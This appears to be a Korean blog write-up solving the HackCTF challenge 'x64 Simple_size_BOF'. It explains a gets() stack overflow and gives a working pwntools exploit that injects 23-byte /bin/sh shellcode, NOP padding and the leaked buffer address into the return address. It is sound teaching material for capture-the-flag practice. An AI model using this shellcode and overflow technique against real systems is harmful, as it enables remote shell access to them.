ii4gsp
HackCTF - x64 Simple_size_BOF 본문
파일을 다운받아 주자.
IDA로 열어보면 버퍼를 0x6D30만큼 할당한다.
즉, 10진수로 27,952만큼 할당한다.
printf()함수로 버퍼의 주소를 출력한다.
gets()함수로 길이 제한없이 버퍼를 입력받는다.
gets()함수에서 취약점이 발생한다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3005)
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
r.recvuntil(': ')
buffer = int(r.recv(14), 16)
payload = ''
payload += shellcode
payload += '\x90' * 27937
payload += p64(buffer)
r.sendline(payload)
r.interactive()
쉘 코드는 23byte짜리 64bit 쉘 코드이다.
printf()함수에서 출력하는 버퍼의 주소를 받아온다.
쉘 코드를 버퍼에 입력하고 (23 - 27,952) + SFP(8byte) = 27,937 만큼 dummy를 채우고
ret에 버퍼의 주소를 넣어주면된다.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - Offset (0) | 2020.02.09 |
---|---|
HackCTF - Simple_Overflow_ver_2 (0) | 2020.02.09 |
HackCTF - x64 Buffer Overflow (0) | 2020.02.09 |
HackCTF - 내 버퍼가 흘러넘친다!!! (0) | 2020.02.09 |
HackCTF - Basic_FSB (0) | 2020.02.09 |
Comments